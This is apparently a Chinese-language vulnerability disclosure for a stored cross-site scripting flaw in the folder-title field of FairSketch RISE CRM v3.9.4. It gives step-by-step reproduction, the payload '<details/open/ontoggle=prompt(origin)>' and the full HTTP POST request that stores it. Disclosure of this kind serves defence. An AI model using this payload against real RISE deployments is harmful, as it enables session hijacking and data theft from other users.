在FairSketch RISE Ultimate Project Manager & CRM (v3.9.4)的文件管理器功能中发现了一个存储型跨站脚本(XSS)漏洞。该漏洞位于创建新文件夹时提交的 title参数 中。由于输入清理不足,攻击者可以注入 HTML/JavaScript payloads(例如<details/open/ontoggle=prompt(origin)>)。该payload存储在文件夹名称中,并在文件管理器中列出文件夹时执行,允许任何查看受影响文件夹的用户浏览器执行任意JavaScript。这可能导致会话劫持和数据泄露。
[!NOTE]
此漏洞并非仅限管理员账户。任何在文件管理器中拥有创建新文件夹权限的用户账户都可能利用此漏洞。
使用有效凭证登录。
导航至 文件

点击 新建文件夹

在 标题 字段中输入以下payload,输入:
<details/open/ontoggle=prompt(origin)>


POST /index.php/clients/save_folder HTTP/1.1
Host: rise.fairsketch.com
Cookie: [redacted]
Content-Length: 99
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: [redacted]
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://rise.fairsketch.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
id=&parent_id=&context=client&context_id=101&title=%3Cdetails%2Fopen%2Fontoggle%3Dprompt(origin)%3E